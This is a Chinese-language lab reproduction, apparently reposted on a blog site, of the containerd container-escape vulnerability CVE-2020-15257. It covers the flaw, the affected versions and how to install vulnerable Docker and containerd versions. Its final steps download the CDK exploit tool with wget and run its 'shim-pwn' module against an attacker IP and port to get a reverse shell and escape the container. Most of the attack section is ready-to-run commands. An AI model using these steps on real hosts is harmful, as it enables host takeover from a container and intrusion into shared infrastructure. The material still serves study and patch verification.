Docker 容器逃逸漏洞 (CVE-2020-15257)復現


漏洞概述

containerd是行業標准的容器運行時,可作為Linux和Windows的守護程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正確地暴露給主機網絡容器。填充程序的API套接字的訪問控制驗證了連接過程的有效UID為0,但沒有以其他方式限制對抽象Unix域套接字的訪問。這將允許在與填充程序相同的網絡名稱空間中運行的惡意容器(有效UID為0,但特權降低)導致新進程以提升的特權運行。

 

影響版本

 

containerd < 1.4.3
containerd < 1.3.9

  

環境搭建

1.Ubuntu更換源

vim  /etc/apt/sources.list
 
#將文件內容替換為,這里為了速度快,我用了阿里的源
 
deb http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse
  
deb http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-proposed main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-proposed main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse

 

2.更新Ubuntu,安裝所需軟件包
apt-get update
 
apt-get install ca-certificates curl software-properties-common

  

3.添加官方GPG密鑰

 
        
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -

  

4.設置穩定的存儲庫

 
        
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"

 

5.查看可安裝的docker版本

 
        
apt-cache madison docker-ce

  

6.安裝指定版本的docker

apt-get install docker-ce=<Version> docker-ce-cli=<Version> containerd.io=<Version>

apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

  

 

 

 

7.下載一個容器

docker pull ubuntu:18.04

  

8.通過--net=host 作為啟動參數來運行並進入一個容器:

docker run -it --net=host ubuntu:18.04 /bin/bash

  

9.在容器內執行 cat /proc/net/unix|grep -a "containerd-shim" 可看到抽象命名空間Unix域套接字.

 

 10.由於docker沒有wget工具,需要在docker里面下載wget

apt-get update
apt-get install wget

  

11.下載exp並實現反彈shell,實現docker逃逸

wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
tar -zxvf cdk_v0.1.6_release.tar.gz 
./cdk_linux_amd64 run shim-pwn [攻擊機ip] [監聽端口]
./cdk_linux_amd64 run shim-pwn 192.168.1.8 12345


12.攻擊機監聽1234端口,可看到docker逃逸成功。

 

 

 

 

 

 








免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM